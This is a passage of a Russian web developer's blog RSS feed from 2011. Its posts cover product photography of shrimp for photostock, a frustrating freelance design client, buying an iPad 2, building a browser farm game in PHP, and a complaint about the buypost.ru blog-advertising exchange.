<li>nikon d70s + 50mm nikkor 1,8D + макролинза +4 marumi 52 mm</li>
</ul>
<p><a href="http://tech.osokin.me/wp-content/uploads/2011/12/asd.jpg" rel="lightbox[707]"><img class="aligncenter size-full wp-image-709" title="asd" src="http://tech.osokin.me/wp-content/uploads/2011/12/asd.jpg" alt="" width="600" height="450" /></a></p>
<p>Вот такая конструкция у меня получилась. <span id="more-707"></span>Такое расположение позволяет обойтись без дорогостоящих трансмиттеров для вспышек и исключает глюки ведомых вспышек, которые поджигаются только по световому импульсу. Вспышка sb-600 установлена на камере и переведена в ручной режим 1/64 мощности импульса, ведомые вспышки настроены на 1/8 мощности импульса и вспыхивают по первому импульсу. (можно выставить задержку вплоть до 9 импульса, но она нужна, если основная вспышка в iTTL режиме, она дает серию предвспыхов, что путает ведомые вспышки). Импульс от sb-600 бьет в отражатель и рассеивается, засвечивая лайткуб сверху, слева и справа лайткуб засвечивают ведомые вспышки. Таким образом мы получаем абсолютно ровную засветку лайткуба и отсутствие в нем резких теней, свет рассеивается.</p>
<p><strong>Как готовить еду</strong></p>
<p>Креветки надо тщательно вымыть, и протереть салфеткой, чтобы не было воды. Во первых это уберет лишние блики, во вторых не загадит лайткуб (тем более он чужой =))</p>
<p>Креветки ищите с ГЛАЗАМИ, большинство их теряет на этапе заморозки )</p>
<p>Китайские палочки можно зафиксировать в одном положении с помощью резинок для денег или проволоки, на худой конец изоленты. Это упростит съемку.</p>
<p><strong>Съемка</strong></p>
<p>Тестовая съемка: диафрагма 6, выдержка 1/60</p>
<p><a href="http://tech.osokin.me/wp-content/uploads/2011/12/DSC_0013.jpg" rel="lightbox[707]"><img class="aligncenter size-full wp-image-710" title="DSC_0013" src="http://tech.osokin.me/wp-content/uploads/2011/12/DSC_0013.jpg" alt="" width="600" height="399" /></a></p>
<p>Неплохой результат для начала, главное применяйте экспокоррекцию, правьте выдержку и диафрагму вручную, тогда можно гибко подстраиваться под освещенность. Снимайте в RAW или NEF, тогда не нужно думать о балансе белого, хотя в моем случае его править не пришлось ни разу.</p>
<p>Теперь снимем креветку на другом фоне и висящей в воздухе.</p>
<p>Для этого нужно сделать конструкцию из иглы и скрепки:</p>
<p><a href="http://tech.osokin.me/wp-content/uploads/2011/12/DSC_0069.jpg" rel="lightbox[707]"><img class="aligncenter size-full wp-image-713" title="DSC_0069" src="http://tech.osokin.me/wp-content/uploads/2011/12/DSC_0069.jpg" alt="" width="600" height="199" /></a></p>
<p>&laquo;Конструкция&raquo; после съемки ретушируется в фотошопе или любом другом редакторе, а мы получаем фото объекта на белом фоне.</p>
<p><a href="http://tech.osokin.me/wp-content/uploads/2011/12/DSC_0030.jpg" rel="lightbox[707]"><img class="aligncenter size-full wp-image-714" title="DSC_0030" src="http://tech.osokin.me/wp-content/uploads/2011/12/DSC_0030.jpg" alt="" width="600" height="399" /></a></p>
<p>Чтобы креветка держала хвост так как нам надо применим небольшую хитрость, обычную швейную иглу втыкаем в хвост чтобы она подпирала его кончик.</p>
<p><a href="http://tech.osokin.me/wp-content/uploads/2011/12/DSC_0067.jpg" rel="lightbox[707]"><img class="aligncenter size-full wp-image-715" title="DSC_0067" src="http://tech.osokin.me/wp-content/uploads/2011/12/DSC_0067.jpg" alt="" width="600" height="399" /></a>Ну и вот результат.</p>
<p><a href="http://tech.osokin.me/wp-content/uploads/2011/12/DSC_0066.jpg" rel="lightbox[707]"><img class="aligncenter size-full wp-image-716" title="DSC_0066" src="http://tech.osokin.me/wp-content/uploads/2011/12/DSC_0066.jpg" alt="" width="600" height="399" /></a>Вот такое фото получается после обтравки, осталось немного высветлить лимон и фото можно отсылать на сток.</p>
<p>Однако это не означает что ваше фото прямо сейчас все начнут покупать. Нужно &laquo;попасть&raquo; в тренд, либо в популярную категорию/сюжет, либо в отсутствующую категорию, на которую есть спрос.</p>
<p><strong>Например: </strong>на shuterstock есть очень много фотографий по электрике (мультметры, провода, тестеры) но на dreamstime нет ни одного нормального фото в этой категории. На dreamstime цена ниже на покупку фотографий, и я когда делал дизайн сайта по аудиту электробезопасности не знал где взять подобные фото. Вот вам ниша.</p>
<p>Если есть вопросы пишите в комментариях, если нужно осуществить съемку товаров, продукции в г. Ростове-на-Дону, пишите на dir@mirstudio.ru или звоните на +79885661899</p>
<p>Удачи и творческих успехов.</p>
]]></content:encoded>
			<wfw:commentRss>http://tech.osokin.me/2011/12/13/shrimp-fotostock/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>&#171;Адовые&#187; клиенты</title>
		<link>http://tech.osokin.me/2011/12/02/ad-clients/</link>
		<comments>http://tech.osokin.me/2011/12/02/ad-clients/#comments</comments>
		<pubDate>Fri, 02 Dec 2011 09:26:24 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Ведение проектов]]></category>
		<category><![CDATA[Дизайн]]></category>

		<guid isPermaLink="false">http://tech.osokin.me/?p=696</guid>
		<description><![CDATA[Бывает такой тип клиентов, который нереально бесит. Их не устраивает все, от кустика и камня на иллюстрации или точки которая должна быть другого цвета внизу в углу страницы. Собственно меня взбесил следующий проект. На free-lance ко мне постучался мой проверенный, постоянный заказчик с которым мы сделали уже несколько дизайн-макетов сайтов. Не сказать что заказчик самый [...]]]></description>
			<content:encoded><![CDATA[<p>Бывает такой тип клиентов, который нереально бесит. Их не устраивает все, от кустика и камня на иллюстрации или точки которая должна быть другого цвета внизу в углу страницы.</p>
<p>Собственно меня взбесил следующий проект. На free-lance ко мне постучался мой проверенный, постоянный заказчик с которым мы сделали уже несколько дизайн-макетов сайтов. Не сказать что заказчик самый лучший, но платил стабильно, быстро, хотя цены на проекты были занижены всегда. Очень сильно бесил тот факт, что на каждый макет от него поступал огромный список исправлений, придирок и других мелочей.</p>
<p>Итак, нужно было сделать дизайн-макет сайта лесозаготовок. Была представлена структура сайта и пример шапки сайта, вот он:</p>
<p><a href="http://tech.osokin.me/wp-content/uploads/2011/12/shapka16.jpg" rel="lightbox[696]"><img class="aligncenter size-full wp-image-697" title="shapka16" src="http://tech.osokin.me/wp-content/uploads/2011/12/shapka16.jpg" alt="" width="600" height="193" /></a>Подобные шапки рисуются не особо просто, стандартное изображение состоит из 30-40 слоев, и множество элементов рисуется вручную. Моя задача усложнялась тем, то заказчик предоставил фотографии своей техники, которую нужно было обязательно использовать в дизайне. <span id="more-696"></span>Все фотографии не буду выкладывать, но парочку выложу:</p>
<p><a href="http://tech.osokin.me/wp-content/uploads/2011/12/488044_2154_642x462.jpg" rel="lightbox[696]"><img class="aligncenter size-medium wp-image-698" title="488044_2154_642x462" src="http://tech.osokin.me/wp-content/uploads/2011/12/488044_2154_642x462-300x215.jpg" alt="" width="300" height="215" /></a><a href="http://tech.osokin.me/wp-content/uploads/2011/12/2154.jpg" rel="lightbox[696]"><img class="aligncenter size-medium wp-image-699" title="2154" src="http://tech.osokin.me/wp-content/uploads/2011/12/2154-300x231.jpg" alt="" width="300" height="231" /></a></p>
<p>Кран с обрезанной башней и качеством снято на мобильный телефон.</p>
<p>Забыл сказать самое главное: цена разработки дизайн-макета: <strong>1750 рублей!</strong> И это с учетом того что я заранее увеличил цену. За 8 часов работы вся техника была отрисована практически вручную, собран пейзаж из 30 слоев и получилось это:</p>
<p><a href="http://tech.osokin.me/wp-content/uploads/2011/12/shapka.jpg" rel="lightbox[696]"><img class="aligncenter size-full wp-image-700" title="shapka" src="http://tech.osokin.me/wp-content/uploads/2011/12/shapka.jpg" alt="" width="600" height="240" /></a>Отличная шапка не находите? Тем более за 1750 рублей. Общий макет сайта был сделан за час, учитывая то что информации, логотипа у заказчика не было никакой.</p>
<p><a href="http://tech.osokin.me/wp-content/uploads/2011/12/index.jpg" rel="lightbox[696]"><img class="aligncenter size-full wp-image-701" title="index" src="http://tech.osokin.me/wp-content/uploads/2011/12/index.jpg" alt="" width="595" height="600" /></a></p>
<p>Отправив макет с чистой совестью ушел спать, считая что лучше за 1750 рублей сделать невозможно подобную работу. Но ближе к обеду на следующий день получил разгромное письмо от заказчика следующим содержанием.</p>
<p><em>1. надпись в логотипе  c ООО без кавычек с уч. регистра)</em><br />
<em>2. посмотрите на дерево слева – оно гигантское по сравнению с тяжелой техникой.</em><br />
<em>3. наша специализация – лесозаготовка, хочется чтобы на макете вы добавили лес. сейчас макет наверное в большей степени отражает некую лодочную станцию, базу отдыха, а мы лесом занимаемся. </em><br />
<em>Но в целом стиль нравится, просто вот эти моменты нужно по-любому сделать. </em></p>
<p>&nbsp;</p>
<p>Меня это просто взбесило. Переделывать всю иллюстрацию и делать типичный лесоповал, см фото присланное заказчиком:</p>
<p><a href="http://tech.osokin.me/wp-content/uploads/2011/12/IMG_037s2.jpg" rel="lightbox[696]"><img class="aligncenter size-full wp-image-702" title="IMG_037s2" src="http://tech.osokin.me/wp-content/uploads/2011/12/IMG_037s2.jpg" alt="" width="600" height="450" /></a>В общем, старайтесь отсеивать подобных заказчиков на начальном этапе, ибо сплошные проблемы. И в итоге вы будете плохим исполнителем в любом случае.</p>
]]></content:encoded>
			<wfw:commentRss>http://tech.osokin.me/2011/12/02/ad-clients/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Купил iPad 2</title>
		<link>http://tech.osokin.me/2011/09/07/%d0%ba%d1%83%d0%bf%d0%b8%d0%bb-ipad-2/</link>
		<comments>http://tech.osokin.me/2011/09/07/%d0%ba%d1%83%d0%bf%d0%b8%d0%bb-ipad-2/#comments</comments>
		<pubDate>Wed, 07 Sep 2011 16:40:05 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Железки]]></category>
		<category><![CDATA[iPad]]></category>

		<guid isPermaLink="false">http://tech.osokin.me/2011/09/07/%d0%ba%d1%83%d0%bf%d0%b8%d0%bb-ipad-2/</guid>
		<description><![CDATA[Давным давно я писал статью про появление первого айпада на рынке. Тогда это было совершенно новое слово в развитии компьютерной техники и особенно мобильных устройств. Я не мог понять как можно использовать такой большой экран без каких либо элементов управления, но благодаря инженерам и группы софтверной разработки компании Apple, мы получили идеальный аппарат для веб-серфинга, [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://tech.osokin.me/wp-content/uploads/2011/09/IMG_0006.jpg" rel="lightbox[692]"><img class="aligncenter size-medium wp-image-694" title="IMG_0006" src="http://tech.osokin.me/wp-content/uploads/2011/09/IMG_0006-300x225.jpg" alt="" width="300" height="225" /></a></p>
<p>Давным давно <a href="http://tech.osokin.me/2010/01/28/apple-ipad/">я писал статью</a> про появление первого айпада на рынке. Тогда это было совершенно новое слово в развитии компьютерной техники и особенно мобильных устройств.</p>
<p>Я не мог понять как можно использовать такой большой экран без каких либо элементов управления, но благодаря инженерам и группы софтверной разработки компании Apple,  мы получили идеальный аппарат для веб-серфинга, работы, презентаций, игр, и еще многому другому.</p>
<p>Первый iPad был довольно громоздким, но вторая модель получилась совершенной: тонкий корпус, идеальная обложка смарт cover, быстрый процессор, большой объем памяти.</p>
<p>О покупке второй модели iPad я думал практически с его появления на Российском рынке. Однако финансовые проблемы, развитие собственного бизнеса, и череда экстренных финансовых затрат связанных с внезапным ухудшением здоровья и отказа некоторой техники дома, постоянно отодвигали дату долгожданной покупки.</p>
<p>И вот сейчас, я печатаю этот пост прямо на своем новеньком iPad 2, и понимаю насколько это органичное, удобное устройство. И огромное спасибо моему отцу, так как это по сути подарок за проделанную мной работу над одним проектом, со множеством командировок и бессонных ночей за рулем.</p>
<p>Сразу скажу что этот девайс не для всех, и дело не только в большой цене и скудном импорте в Россию. Дело в привычке, мировоззрении и требованиям.</p>
<p>Я &laquo;подсел&raquo; на продукцию Apple с первого дня использования iPod nano, а iPod touch 2gen и iPhone 3gs только утвердили мое мнение об этой продукции. Уже накопился софт, который покупал за кровные деньги, привык к надежности и удобству продукции Apple.</p>
]]></content:encoded>
			<wfw:commentRss>http://tech.osokin.me/2011/09/07/%d0%ba%d1%83%d0%bf%d0%b8%d0%bb-ipad-2/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Пишем браузерную игру</title>
		<link>http://tech.osokin.me/2011/06/02/browse-farm/</link>
		<comments>http://tech.osokin.me/2011/06/02/browse-farm/#comments</comments>
		<pubDate>Thu, 02 Jun 2011 13:59:32 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Пишем Браузерную Игру]]></category>

		<guid isPermaLink="false">http://tech.osokin.me/?p=674</guid>
		<description><![CDATA[Меня клюнул жаренный петух, и после прочтения ЭТОЙ статьи на Хабрахабре у меня жутко зачесались руки что-то написать подобное. То что получилось на текущий момент, сейчас работает наFERMA.NAMSA.RU, новые билды выходят каждые 2-3 дня. Опыта особого в написании игр не было, и знание PHP тоже хромает. Но попробуем восстановить хронологию событий. 17 мая Я попробовал [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://tech.osokin.me/wp-content/uploads/2011/06/Image-5.jpg" rel="lightbox[674]"><img class="aligncenter size-medium wp-image-682" title="Image 5" src="http://tech.osokin.me/wp-content/uploads/2011/06/Image-5-300x258.jpg" alt="" width="300" height="258" /></a></p>
<p>Меня клюнул жаренный петух, и после прочтения <a href="http://habrahabr.ru/blogs/startup/119329/">ЭТОЙ</a> статьи на Хабрахабре у меня жутко зачесались руки что-то написать подобное.</p>
<p><strong>То что получилось на текущий момент, сейчас работает на<a href="http://ferma.namsa.ru/">FERMA.NAMSA.RU</a>, новые билды выходят каждые 2-3 дня.</strong></p>
<p>Опыта особого в написании игр не было, и знание PHP тоже хромает. Но попробуем восстановить хронологию событий.</p>
<h1>17 мая</h1>
<p>Я попробовал сверстать на div&#8217;ах изометрическую проекцию. В принципе все просто: блоки стыкуются друг с другом по горизонтали, но по вертикали нужно сделать запас под отображение растения.</p>
<p>Проба пера:</p>
<p><a href="http://tech.osokin.me/wp-content/uploads/2011/06/xaxkx.jpg" rel="lightbox[674]"><img class="aligncenter size-medium wp-image-675" title="xaxkx" src="http://tech.osokin.me/wp-content/uploads/2011/06/xaxkx-300x233.jpg" alt="" width="300" height="233" /></a></p>
<p>Вроде что-то получилось. Теперь главная задача обработать клики. Первый FAIL ждал именно тут, так как блоки наезжают друг на друга, то области перекрывают друг друга. Почесав тыковку, я решил сделать поверх еще один слой с дивами которые можно кликать. Тут родилась идея наклонить при помощи -moz -webkit и прочих приблуд эти Div блоки, повернуть их на 45 градусов и прописать на javascript обработчик кликов.<span id="more-674"></span></p>
<p>Сказано &#8211; сделано:</p>
<p><a href="http://tech.osokin.me/wp-content/uploads/2011/06/hvbfy.jpg" rel="lightbox[674]"><img class="aligncenter size-medium wp-image-676" title="hvbfy" src="http://tech.osokin.me/wp-content/uploads/2011/06/hvbfy-300x233.jpg" alt="" width="300" height="233" /></a></p>
<p>Основа была готова. Далее я ей придал более человеческий вид, сделал графику, частично &laquo;взяв&raquo; ее с http://dribbble.com/ (каюсь, перерисую)</p>
<p>Поздно ночью, я уже переверстал блоки и придал им привычный вид, который стал финальной концепцией расположения полей.</p>
<p>&nbsp;</p>
<p><a href="http://tech.osokin.me/wp-content/uploads/2011/06/n4jzq.jpg" rel="lightbox[674]"><img class="aligncenter size-medium wp-image-677" title="n4jzq" src="http://tech.osokin.me/wp-content/uploads/2011/06/n4jzq-300x233.jpg" alt="" width="300" height="233" /></a></p>
<h1><strong>18 мая</strong></h1>
<p>Меня просто прорвало. Я взял и все перевестал заново. Получилось вот такое поле.</p>
<p><a href="http://tech.osokin.me/wp-content/uploads/2011/06/300544601.jpg" rel="lightbox[674]"><img class="aligncenter size-medium wp-image-680" title="300544601" src="http://tech.osokin.me/wp-content/uploads/2011/06/300544601-300x179.jpg" alt="" width="300" height="179" /></a></p>
<p>Была разработана регистрация, авторизация пользователей. Создана основа БД на базе mysql и самое главное вывод ячеек в зависимости от пользователя.</p>
<p><a href="http://tech.osokin.me/wp-content/uploads/2011/06/Image-3.jpg" rel="lightbox[674]"><img class="aligncenter size-medium wp-image-678" title="Image 3" src="http://tech.osokin.me/wp-content/uploads/2011/06/Image-3-165x300.jpg" alt="" width="165" height="300" /></a></p>
<p>Каждому юзеру при регистрации записываются 25 значений в БД, tile_id идентификатор ячейки, type_id идентификатор, что в этой ячейке находится.</p>
<p>После авторизации скрипт выбирается ячейки из БД сравнивает их с таблицей где хранятся картинки и выводит их.</p>
<p><a href="http://tech.osokin.me/wp-content/uploads/2011/06/Image-4.jpg" rel="lightbox[674]"><img class="aligncenter size-full wp-image-679" title="Image 4" src="http://tech.osokin.me/wp-content/uploads/2011/06/Image-4.jpg" alt="" width="421" height="172" /></a>grow_stat это фаза роста:</p>
<ul>
<li>0 &#8211; посажено</li>
<li>0,5 &#8211; выросло наполовину</li>
<li>1 &#8211; можно собирать урожай</li>
</ul>
<h1>с 19 мая по 30</h1>
<p>Я не вспомню что было написано с 19 мая по 30 мая, но вкратце список функций.</p>
<ol>
<li>Появились меню овощей, меню удобрений.</li>
<li>Можно сажать овощи, поливать, удобрять, собирать урожай, вскапывать землю.</li>
<li>Система опыта, система динамического лвл-апа.</li>
<li>За вскапывание начисляется опыт</li>
<li>Иконки-статусы, полива, удобрения.</li>
<li>Вывод изображений по факту роста (посажено, выросло наполовину, можно собирать урожай)</li>
<li>Система рейтинга игроков</li>
<li>Магазин техники</li>
<li>Техника позволяет производить пакетную обработку грядок (полить все, удобрить все)</li>
<li>ОГРОМНЫЕ ОПТИМИЗАЦИИ КОДА! ТОРМОЗИТ ДО СИХ ПОР )))</li>
<li>Созданы две валюты: деньги, акции.</li>
<li>Система конвертации валют</li>
<li>Поливка, удобрение сокращает время роста растений.</li>
<li>Таймеры обратного отсчета и учета времени.</li>
<li>База наполнена 25 овощами.</li>
<li>что-то еще&#8230;. все не помню.</li>
</ol>
<p>Сайт уже пережил три переезда с хостинга на хостинг и пока поселился у меня дома на 5 мегабином канале на сервере ubuntu 10.04, LAMP, intel atom 330 dual core, 2048 ОЗУ. На всех хостингах смутили пинги. Если проект доживет до релиза,  нужно брать dedicated  в Германии. Зарегистрировал домен namsa.ru. Появилась идея игры на базе этого &laquo;движка&raquo; но уже с реальной экономикой, так как по образованию я информатик-экономист и тема спроса-предложения волнует мой мозг. )</p>
<p><strong>То что получилось на текущий момент, сейчас работает на <a href="http://ferma.namsa.ru/">FERMA.NAMSA.RU</a>, новые билды выходят каждые 2-3 дня.<br />
</strong></p>
<p><strong>если проблемы в игре, ошибки или что-то не получается: </strong>пишите в комментариях или прямо на почту <strong>aosokin@rambler.ru</strong></p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://tech.osokin.me/2011/06/02/browse-farm/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Бардак на buypost.ru</title>
		<link>http://tech.osokin.me/2011/06/02/buypost-bardak/</link>
		<comments>http://tech.osokin.me/2011/06/02/buypost-bardak/#comments</comments>
		<pubDate>Thu, 02 Jun 2011 13:08:43 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Общие темы]]></category>

		<guid isPermaLink="false">http://tech.osokin.me/?p=670</guid>
		<description><![CDATA[Писал об этой компании и способу заработать на своем блоге в статье на  http://www.blogfinance.ru Проблемы и глюки начались сразу, после регистрации блога на buypost.ru У этого блога рейтинг google PR 1 но отсутствует ТИЦ, решил все таки добавить блог, чтобы оценить интерфейс buypost.ru. Регистрация прошла успешно и сайт ушел на модерацию (10.05. 2011). Спустя день, [...]]]></description>
			<content:encoded><![CDATA[<p><img class="aligncenter" title="http://www.buypost.ru/images/logo.gif" src="http://www.buypost.ru/images/logo.gif" alt="" width="203" height="43" /></p>
<p>Писал об этой компании и способу заработать на своем блоге в статье на  <a href="http://www.blogfinance.ru/2011/05/buypost/">http://www.blogfinance.ru</a></p>
<p>Проблемы и глюки начались сразу, после регистрации блога на buypost.ru</p>
<p>У этого блога рейтинг google PR 1 но отсутствует ТИЦ, решил все таки добавить блог, чтобы оценить интерфейс buypost.ru. Регистрация прошла успешно и сайт ушел на модерацию (10.05. 2011). Спустя день, мой блог отклонили и я забросил какую либо работу c buypost.ru, так как возможности посмотреть интерфейс не было.  Дальше началось самое интересное.</p>
<p>21.05.2011 мне приходит письмо, что мой блог принят в работу:</p>
<div lang="x-unicode">
<p><span style="color: #808080;"><em>Здравствуйте, Андрей.</em></span></p>
<p><span style="color: #808080;"><em>Ваш блог <strong>&laquo;Блог веб-разработчика&raquo; (http://tech.osokin.me/)</strong> принят в работу.</em></span></p>
<p><span style="color: #808080;"><em>С уважением, </em></span><br />
<span style="color: #808080;"><em> Команда buypost.ru</em></span><span style="color: #808080;"><em></em></span></p>
<p><span style="color: #808080;"><em>&#8212;&#8212;&#8212;&#8212;&#8212;&#8211; </em></span></p>
<p><span style="color: #808080;"><em>Данное уведомление сгенерировано автоматически. Пожалуйста, не отвечайте на него. </em></span><br />
<span style="color: #808080;"><em>Если у Вас возникли вопросы, задавайте их технической поддержке</em></span></p>
<p><span style="color: #808080;"><span style="color: #000000;">В панели управления появляется мой блог, и ему присвоен активный статус. Можно указывать цены, на все уровни страниц учитывая их PR. Открылся доступ ко всему интерфейсу.<br />
</span></span></p>
<p><span style="color: #808080;"><span style="color: #000000;">Но блог не индексируется, и я не мог понять почему, был установлен скрипт для индексации от buypost.ru, все доступы к блогу были указаны в панели управления.</span></span></p>
<p><span style="color: #808080;"><span style="color: #000000;">01.06.2011 я решаюсь написать техподдержке, что случилось и почему мой блог не индексируется, раз он уже принят в работу.</span></span></p>
<p><span style="color: #808080;"><span style="color: #000000;">Ответ меня поразил до глубины души:</span></span></p>
<p><span style="color: #808080;"><em>Тикет: 6772 </em></span></p>
<p><span style="color: #808080;"><em>Служба поддержки : Здравствуйте. Ваш сайт не соответствует требованиям биржи:</em></span><br />
<span style="color: #808080;"><em>ТИЦ =&gt;10;</em></span><br />
<span style="color: #808080;"><em> 02.06.2011 15:06</em></span></p>
<p><span style="color: #808080;"><span style="color: #000000;">А теперь достаточно ответить на один простой вопрос:</span></span></p>
<p><span style="color: #808080;"><span style="color: #000000;">Е<strong>сли в самое компании buypost.ru творится такой бардак по модерации и активации блогов, вы уверены что можете им доверить:</strong></span></span></p>
<p><strong><span style="color: #808080;"><span style="color: #000000;">1) доступ к блогу (требуют логин и пароль от админки)<br />
</span></span></strong></p>
<p><strong><span style="color: #808080;"><span style="color: #000000;">2) к финансам заработанным на этом сервисе (их ведь банально можно не получить)</span></span></strong></p>
<p><span style="color: #808080;"><span style="color: #000000;">Я больше не доверю.<br />
</span></span></p>
</div>
]]></content:encoded>
			<wfw:commentRss>http://tech.osokin.me/2011/06/02/buypost-bardak/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<!-- WP Super Cache is installed but broken. The path to wp-cache-phase1.php in wp-content/advanced-cache.php must be fixed! -->
